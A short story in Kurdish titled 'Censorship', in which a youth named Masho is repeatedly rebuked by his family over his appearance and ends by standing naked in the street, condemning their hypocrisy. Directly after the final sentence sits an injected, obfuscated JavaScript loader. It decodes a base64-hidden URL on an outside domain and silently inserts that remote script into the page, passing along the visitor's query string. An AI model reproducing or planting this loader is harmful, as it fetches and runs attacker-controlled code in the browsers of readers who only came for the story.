سانسۆر
خالد عەلی سلێڤانەیی
مەشۆ، نە مەزنە و نە بچووكە، نە كوڕە و نە كچە، گەلەك ناڤێن وی هەنە، جارنا دبێژنێ (هێ) وجارنا دبێژنی (هۆ).
جارنا پۆڕا وی كورتە، جارنا مینا جۆت كەزییا ل سەر ملان دهێنە خوار.
ژ بەر كو چو پیڤەر نینن مەشۆ ل دووڤ بهێت هەلسەنگاندن، هەتا ئیرۆ تەنها یەك پێناسە ژ بۆ وی هەیە، ئەو ژی ئەم دكارن ببێژنێ( تشتێ لڤۆك).
رۆژا ژ دایك بووی، سێ بۆقێن زڕ ل سەر سەری بوون…
دایكا وی، كو ژ یەكم ژانا زابوونێ وەرە قێری تیكەلی ئایەت و تەسبیحان بەتال نەكریە.
هەتا مەشۆ دەركەتی…لێ یا جیاواز دەمی مەشۆ بووی گرییا وی نە وەكو هەمی زارۆیان بوو.
پیركێ ژ بنێ چۆت پێیان گرت، و سەرێ وی ژۆردە بەردا خوار، ودبەرە دگۆت: خێرە، خێرە، بەرێ مە نێرە، ببت عەگید و زانا و بگرت سەرێ دیوانا.
پیركی هەستەك كر كو گرییا وی جیاواز، گریییەكا نێزیك هێرشكرن و تۆرەبوونی ڤەیە
پتر كو وەكی گرییا لاوازی و بدەستڤەبەردانا قەدرا هاتنا ژیانی بیت.
بابێ وی ل بەر دەرگەهی، ب دزیڤە جارنا تەماشەیی ژۆرێ دكر، كو بهۆستەك ژ دەرگەهی ڤەكریبوو.
هیشتا نها یێ تەخییل دكت كا دێ چەوا كوڕێ خوە وەك خوە مەزن كت:
– دڤێت ئەو وەك من بت.
پشتی دەمەكی درێژ و ژیانەك وەك كەتواری دیار وبەرچاڤ، هما مە دیت مەشۆ، سمبێل رەشە، سەكسۆكەك یا ب ئەرزنكێ ڤە.
سپێدەكێ ل سەر چادەیێ چوو، تەنها شۆرتەك سێ چارێك و فانێلەكێ سەرملك ل بەر بوو، گەهشت ونەگەهشت جۆقا هەڤالان، هو پیرێ ل بەر سینگێ خوە دیت، بنی گوهێ وی گرت وگۆتێ: هۆۆۆۆۆۆۆۆۆۆۆۆۆپ.
دێ رابە هەرە خوە وەكو مرۆڤان لێبكە و ڤان جلكان ب گوهۆڕە،(خەلك)دێ چ بێژن مە، ئەم عەشیرن داپیرێ.
رۆژا دی، ل سەر جادەیێ، مەشۆ ب بەتنتەلۆنەكی درێژ و قەمسیەكێ پستۆك پان، گەهشت و نە گەهشت ناڤ جۆقا هەڤالان، دەیكا وی ل بەر سینكێ وی راوەستا، و بنێ گوهی وی گرت وگۆت:هۆۆۆۆۆۆۆۆۆۆۆۆۆۆۆپ
ئەڤە چ دەلنگێ درێژە دكەڤت دبن پێن تەڤە، دێ ب ئاگری ئێی سۆتن مال خراب…دێ هەرە ئەز ئێدی ل بەر تە نەبینم. ئەم موسلمانن دایێ گۆری.
رۆژا دی، مەشۆی دەرسۆكەكا سپی و كراسەكێ رەش و عەبایەكێ رەش ل خوە كر، هەتا بەر حەفكێ راپێچایی و ل سەر جادەیێ دچوو، گەهشت ونەگەهشت جۆقا هەڤالان، هو بابێ خوە ل بەر سینگی خوە دیت، بابێ وی ئەنی لێ كر گرێ و ژ بنێ گوهان گرت و گۆتێ: هۆۆۆۆۆۆۆۆۆۆۆۆۆپ
مە هەمی بێ رەوشتی دیتن تەنا ئەڤا تە كری نەبت…دێ هەرە خوە بگوهۆڕە، ئێدی تە هۆسا نەبینم یان دێ سزایێ تە دژوار بت.
رۆژا چارێ، ل قەنتەرێ دا و ل سەر نیڤا جادەیێ، یێ رووس و چیپلاق، وەكو رۆژا داپیرێ ژ بنێ پیێان گرتی، لێ ئەڤ جارە گازندا خوە نە ب رێكا گریێ كر، بەلكو ب بلندترین دەنگ و ستاندارتین تۆن و سەلیقە ژ بنێ پێیان كرە قێری وگۆت:
هوون هەمی درەون، درەوكەرن، شیزۆفرینینە، نەساخن، سەنەمن، هزار روینە، سەد كونن، یارییێن لاستكیینە و هزار و سەد وەریس وە دلڤینن، وە هەمییا ئەو دڤیت یا نهۆ من ڤییا ومن دڤیتن، لێ هوون دترسن، تژی نیشانێن پرسێ نە وناپرسن، نەوێرن، نەمێرن، متن، د خوەدە دپەقن، ب پتپتن، هەر شەڤ هوون نفرینا ل ناخێ خوە دكن، ژ بەر هندێ هوون هاتن ببن مرۆڤ، لێ هوون نەشێن، تەنها هوون دزێن.
ئەز مەشۆمە، نەسەنمم ینا وە، ئەز دێ مەشم…
جادە بێ دەنگ بوو، كرپێن ژ كەسێ نەهات، دیمەن راوەستیان و كەسێ نە گۆتێ هۆپ.(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();
